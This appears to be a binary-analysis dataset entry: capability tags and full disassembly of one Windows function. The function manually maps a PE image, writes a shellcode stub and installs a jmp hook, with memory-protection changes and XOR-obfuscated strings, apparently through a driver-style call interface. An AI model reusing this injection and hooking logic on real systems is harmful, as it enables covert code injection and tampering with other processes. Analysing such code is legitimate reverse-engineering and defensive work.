Function at 0x140024610
Capabilities:
Check for software breakpoints
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1110]
mov eax, 0x1210
call fcn.14002f740
sub rsp, rax
mov rax, qword [0x14006e100]
xor rax, rsp
mov qword [rbp + 0x1100], rax
xorps xmm0, xmm0
mov dword [rbp + 0x50], 0x56555251
xor eax, eax
mov dword [rbp + 0x54], 0x50415753
mov qword [rbp + 0x40], rax
mov r13, rcx
mov rax, qword [0x140070fd8]
lea rcx, [rbp - 0x30]
movups xmmword [rbp - 0x30], xmm0
xor edx, edx
mov dword [rbp + 0x58], 0x52415141
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x20], rax
movups xmmword [rbp + 0x20], xmm0
mov dword [rbp + 0x5c], 0x54415341
mov dword [rbp + 0x60], 0x56415541
mov dword [rbp + 0x64], 0x31485741
mov dword [rbp + 0x68], 0xf63148c9
mov dword [rbp + 0x6c], 0x48ff3148
mov byte [rbp + 0x70], 0xb9
mov word [rbp + 0x79], 0xbe48
mov word [rbp + 0x83], 0xbf48
mov dword [rbp + 0x8d], 0xa4a4a4a4
mov dword [rbp + 0x91], 0xa4a4a4a4
mov dword [rbp + 0x95], 0xa4a4a4a4
mov dword [rbp + 0x99], 0x3148a4a4
mov dword [rbp + 0x9d], 0xc03148c9
mov word [rbp + 0xa1], 0xb948
mov word [rbp + 0xab], 0xb848
mov dword [rbp + 0xb5], 0x48d23148
mov dword [rbp + 0xb9], 0x4d01c283
mov dword [rbp + 0xbd], 0xb849c031
mov dword [rbp + 0xc9], 0x28ec8348
mov dword [rbp + 0xcd], 0x8348d0ff
mov dword [rbp + 0xd1], 0x5f4128c4
mov dword [rbp + 0xd5], 0x5d415e41
mov dword [rbp + 0xd9], 0x5b415c41
mov dword [rbp + 0xdd], 0x59415a41
mov dword [rbp + 0xe1], 0x5b5f5841
mov dword [rbp + 0xe5], 0x595a5d5e
mov dword [rbp + 0xe9], 0xc3c03148
movups xmmword [rbp - 0x10], xmm0
mov dword [rbp + 0x20], 3
movups xmmword [rbp], xmm0
mov dword [rbp - 0x30], 0xdeadbeef
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x30], xmm0
call qword [0x140070f10]
mov rdx, qword [rbp - 0x18]
test rdx, rdx
je 0x140025086
lea rcx, str.target_base:__x_n
call fcn.140024160
mov rax, qword [r13 + 0x18]
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140025086
movsxd rbx, dword [rax + 0x3c]
add rbx, rax
cmp dword [rbx], 0x4550
jne 0x140025086
movzx eax, word [rbx + 0x14]
mov ecx, dword [rbx + 0x50]
add rax, rbx
mov qword [rsp + 0x28], rax
call fcn.1400241b0
mov qword [rsp + 0x20], rax
mov r11, rax
test rax, rax
je 0x140025086
movzx edx, word [rbx + 0x14]
xor r12d, r12d
movzx r10d, word [rbx + 6]
add rdx, 0x18
mov r8d, dword [rbx + 0x90]
add rdx, rbx
mov r9d, r12d
test r10d, r10d
je 0x140024852
mov eax, dword [rdx + 8]
test rax, rax
jne 0x140024832
mov eax, dword [rdx + 0x10]
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140024846
add rax, rcx
cmp r8, rax
jb 0x1400249e2
inc r9d
add rdx, 0x28
cmp r9d, r10d
jl 0x140024827
mov r8, r12
cmp dword [rbx + 0x94], r12d
je 0x14002486f
mov rcx, qword [r13 + 0x18]
mov rdx, rbx
call fcn.140024480
mov r11, qword [rsp + 0x20]
movzx ecx, word [rbx + 0x14]
mov r9d, r12d
movzx r10d, word [rbx + 6]
add rcx, 0x18
mov r8d, dword [rbx + 0xb0]
add rcx, rbx
test r10d, r10d
je 0x1400248bb
nop
mov eax, dword [rcx + 8]
test rax, rax
jne 0x14002489b
mov eax, dword [rcx + 0x10]
mov edx, dword [rcx + 0xc]
cmp r8, rdx
jb 0x1400248af
add rax, rdx
cmp r8, rax
jb 0x1400249f3
inc r9d
add rcx, 0x28
cmp r9d, r10d
jl 0x140024890
mov r8, r12
mov r14d, dword [rbx + 0xb4]
test r14d, r14d
je 0x14002498c
mov r15, qword [r13 + 0x18]
mov rdi, r11
sub rdi, qword [rbx + 0x30]
mov esi, r12d
test r14d, r14d
je 0x14002498c
nop word [rax + rax]
movzx eax, word [rbx + 0x14]
lea rcx, [rbx + 0x18]
movzx r11d, word [rbx + 6]
add rcx, rax
mov edx, dword [r8]
mov r10d, r12d
test r11d, r11d
je 0x14002493c
nop dword [rax + rax]
mov eax, dword [rcx + 8]
test rax, rax
jne 0x14002491b
mov eax, dword [rcx + 0x10]
mov r9d, dword [rcx + 0xc]
cmp rdx, r9
jb 0x140024930
add rax, r9
cmp rdx, rax
jb 0x140024a04
inc r10d
add rcx, 0x28
cmp r10d, r11d
jl 0x140024910
mov rdx, r12
mov r9d, dword [r8 + 4]
lea r10, [r8 + 4]
sub r9, 8
lea r8, [r8 + 8]
shr r9, 1
mov ecx, r12d
je 0x140024980
mov r11d, 0x3000
nop dword [rax]
movzx eax, word [r8]
test r11w, ax
je 0x140024973
and eax, 0xfff
add qword [rax + rdx], rdi
inc ecx
add r8, 2
mov eax, ecx
cmp rax, r9
jb 0x140024960
add esi, dword [r10]
cmp esi, r14d
jb 0x1400248f0
movzx ecx, word [rbx + 0x14]
lea rdi, [0x14006f5e0]
movzx r10d, word [rbx + 6]
add rcx, 0x18
mov r9d, dword [rbx + 0xa0]
add rcx, rbx
mov r8d, r12d
test r10d, r10d
je 0x140024a7c
mov eax, dword [rcx + 8]
test rax, rax
jne 0x1400249c1
mov eax, dword [rcx + 0x10]
mov edx, dword [rcx + 0xc]
cmp r9, rdx
jb 0x1400249d1
add rax, rdx
cmp r9, rax
jb 0x140024a16
inc r8d
add rcx, 0x28
cmp r8d, r10d
jl 0x1400249b6
jmp 0x140024a7c
sub ecx, dword [rdx + 0x14]
mov eax, ecx
sub r8, rax
add r8, qword [r13 + 0x18]
jmp 0x140024855
sub edx, dword [rcx + 0x14]
mov eax, edx
sub r8, rax
add r8, qword [r13 + 0x18]
jmp 0x1400248be
sub r9d, dword [rcx + 0x14]
mov eax, r9d
sub rdx, rax
add rdx, r15
jmp 0x14002493f
sub edx, dword [rcx + 0x14]
mov r8, qword [r13 + 0x18]
mov eax, edx
sub r9, rax
add r9, r8
je 0x140024a7c
mov eax, dword [rbx + 0xa4]
test eax, eax
je 0x140024a7c
mov ecx, eax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
mov rcx, r9
shr rdx, 3
dec edx
call qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov rcx, rdi
lea rdx, str.Failed_to_add_error_handling_
test al, al
je 0x140024a64
lea rdx, str.Added_SEH_Support_
call fcn.140022bb0
mov rcx, rax
call fcn.140022e60
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [r13 + 0x30]
mov rcx, qword [r13 + 0x28]
call fcn.1400243b0
mov qword [rsp + 0x38], rax
mov r12, rax
test rax, rax
je 0x140025086
mov rdx, rax
lea rcx, str.function_addr:__x_n
call fcn.140024160
mov ecx, 0x1014
xor edi, edi
call fcn.140039b90
mov qword [rsp + 0x30], rax
mov r15, rax
test rax, rax
je 0x140025086
lea r14, [rax + 4]
mov rsi, r14
nop dword [rax]
mov rax, qword [0x140070fd8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movsxd rcx, edi
xor edx, edx
add rcx, r12
mov qword [rsp + 0x58], 1
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x100]
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x48], rcx
lea rcx, [rsp + 0x50]
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x40], rax
movups xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x60], 4
movups xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x50], 0xdeadbeef
movups xmmword [rbp - 0x70], xmm0
call qword [0x140070f10]
movzx eax, byte [rbp + 0x100]
cmp al, 0xc3
je 0x140024b5a
cmp al, 0xcc
je 0x140024b5a
mov byte [rsi], al
inc edi
inc rsi
cmp edi, 0x100e
jl 0x140024ad0
movsxd rax, edi
add edi, 7
movsxd rcx, edi
mov dword [r15 + rax + 4], 0xcccccccc
mov word [r15 + rax + 8], 0xcccc
mov byte [r15 + rax + 0xa], 0xcc
mov dword [r15], edi
call fcn.1400241b0
mov qword [rbp + 0xf0], rax
mov rcx, rax
test rax, rax
je 0x14002507e
mov rax, qword [0x140070fd8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor edx, edx
mov qword [rbp - 0x40], r14
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x60], rax
movsxd rax, dword [r15]
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x48], rcx
lea rcx, [rsp + 0x50]
movups xmmword [rbp - 0x60], xmm0
mov qword [rsp + 0x58], rax
movups xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x60], 5
movups xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x50], 0xdeadbeef
movups xmmword [rbp - 0x70], xmm0
call qword [0x140070f10]
mov ecx, 0x9d
call fcn.1400241b0
mov qword [rsp + 0x40], rax
mov rdi, rax
test rax, rax
je 0x14002507e
xor eax, eax
mov r14d, eax
cmp ax, word [rbx + 6]
jae 0x140024d20
mov rdi, qword [rsp + 0x28]
mov r12, qword [rsp + 0x20]
add rdi, 0x2c
xor r15d, r15d
nop word [rax + rax]
mov ecx, 6
call fcn.140039b90
mov rcx, rax
test rax, rax
jne 0x140024c47
mov rcx, r15
jmp 0x140024c71
mov eax, dword [str._fPGNMA]
mov dword [rcx], eax
movzx eax, word [0x14005e4a0]
mov word [rcx + 4], ax
xor byte [rcx], 0x22
xor byte [rcx + 1], 0x22
xor byte [rcx + 2], 0x22
xor byte [rcx + 3], 0x22
xor byte [rcx + 4], 0x22
xor byte [rcx + 5], 0x22
mov eax, dword [rdi - 0x14]
cmp eax, dword [rcx]
jne 0x140024c82
movzx eax, word [rdi - 0x10]
cmp ax, word [rcx + 4]
je 0x140024d01
call fcn.140036914
lea rdx, [rdi - 0x14]
lea rcx, str.section__s_n
call fcn.140024160
mov rax, qword [0x140070fd8]
lea rcx, [rsp + 0x50]
xorps xmm0, xmm0
xor edx, edx
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x50], 0xdeadbeef
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x60], rax
mov eax, dword [rdi - 8]
add rax, r12
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x48], rax
mov eax, dword [rdi]
add rax, qword [r13 + 0x18]
mov qword [rbp - 0x40], rax
mov eax, dword [rdi - 4]
movups xmmword [rbp - 0x60], xmm0
mov qword [rsp + 0x58], rax
movups xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x60], 5
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
call qword [0x140070f10]
add rdi, 0x28
movzx eax, word [rbx + 6]
inc r14d
cmp r14d, eax
jl 0x140024c30
mov r15, qword [rsp + 0x30]
mov r12, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
lea rdx, str.Getting_EntryPoint
lea rcx, [0x14006f5e0]
call fcn.140022bb0
mov rcx, rax
call fcn.140022e60
mov edx, dword [rbx + 0x28]
lea rcx, str.___Entry_point____0x_X_n
mov rsi, qword [rsp + 0x20]
lea rbx, [rsi + rdx]
call fcn.140024160
movsxd rax, dword [r15]
lea rdx, str.Wrote_RB
mov qword [rbp + 0x71], rax
lea rcx, [0x14006f5e0]
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0x7b], rax
mov qword [rbp + 0x85], r12
call fcn.140022bb0
mov rcx, rax
call fcn.140022e60
lea rdx, str.Writing_BE____ST
lea rcx, [0x14006f5e0]
call fcn.140022bb0
mov rcx, rax
call fcn.140022e60
lea rdx, str.Wrote_BE____ST
mov qword [rbp + 0xa3], rsi
lea rcx, [0x14006f5e0]
mov qword [rbp + 0xad], rbx
call fcn.140022bb0
mov rcx, rax
call fcn.140022e60
lea rdx, str.Writing_SHELL____ST
lea rcx, [0x14006f5e0]
call fcn.140022bb0
mov rcx, rax
call fcn.140022e60
movabs rax, 0x12402b997a8c5149
lea rdx, str.Wrote_SHELL____ST
lea rcx, [0x14006f5e0]
mov qword [rbp + 0xc1], rax
call fcn.140022bb0
mov rcx, rax
call fcn.140022e60
mov rax, qword [0x140070fd8]
lea rcx, [rsp + 0x50]
xorps xmm0, xmm0
xor edx, edx
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x58], 0x9d
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x50]
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x40], rax
movups xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x60], 5
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x48], rdi
movups xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x50], 0xdeadbeef
movups xmmword [rbp - 0x70], xmm0
call qword [0x140070f10]
lea rdx, str.Wrote_SHELL____ST
lea rcx, [0x14006f5e0]
call fcn.140022bb0
mov rcx, rax
call fcn.140022e60
lea rdx, str.VP_Func
lea rcx, [0x14006f5e0]
call fcn.140022bb0
mov rcx, rax
call fcn.140022e60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x40], rax
lea rcx, [rsp + 0x50]
mov rax, qword [0x140070fd8]
xor edx, edx
movups xmmword [rbp - 0x50], xmm0
mov qword [rsp + 0x60], rax
mov dword [rbp - 0x60], 8
mov qword [rbp - 0x48], r12
mov qword [rsp + 0x58], 0xe
mov dword [rsp + 0x54], 0x40
mov dword [rsp + 0x50], 0xdeadbeef
call qword [0x140070f10]
lea rdx, str.Done_VP
lea rcx, [0x14006f5e0]
call fcn.140022bb0
mov rcx, rax
call fcn.140022e60
lea rdx, str.HF_Func____ST
lea rcx, [0x14006f5e0]
call fcn.140022bb0
mov rcx, rax
call fcn.140022e60
mov rax, qword [0x140070fd8]
lea rcx, [rbp - 0x30]
xorps xmm0, xmm0
mov dword [rbp + 0xf0], 0x25ff
movups xmmword [rbp - 0x30], xmm0
xor edx, edx
mov word [rbp + 0xf4], 0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x20], rax
lea rax, [rbp + 0xf0]
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x40], rax
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0xf6], rdi
movups xmmword [rbp - 0x10], xmm0
mov dword [rbp + 0x20], 5
movups xmmword [rbp], xmm0
mov qword [rbp + 0x38], r12
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp - 0x28], 0xe
mov dword [rbp - 0x30], 0xdeadbeef
call qword [0x140070f10]
lea rdx, str.Done_HF
lea rcx, [0x14006f5e0]
call fcn.140022bb0
mov rcx, rax
call fcn.140022e60
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.VP_Func_2
lea rcx, [0x14006f5e0]
call fcn.140022bb0
mov rcx, rax
call fcn.140022e60
mov edx, dword [rbp - 0x80]
lea rcx, [rbp - 0x30]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp + 0x40], rax
mov rax, qword [0x140070fd8]
mov dword [rbp - 0x2c], edx
xor edx, edx
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x20], rax
movups xmmword [rbp + 0x20], xmm0
mov dword [rbp + 0x20], 8
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x38], r12
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp - 0x28], 0xe
movups xmmword [rbp], xmm0
mov dword [rbp - 0x30], 0xdeadbeef
movups xmmword [rbp + 0x10], xmm0
call qword [0x140070f10]
lea rdx, str.Done_VP_2
lea rcx, [0x14006f5e0]
call fcn.140022bb0
mov rcx, rax
call fcn.140022e60
mov rcx, r15
call fcn.140036914
mov eax, 1
jmp 0x140025088
mov rcx, r15
call fcn.140036914
xor eax, eax
mov rcx, qword [rbp + 0x1100]
xor rcx, rsp
call fcn.14002eb70
lea r11, [rsp + 0x1210]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret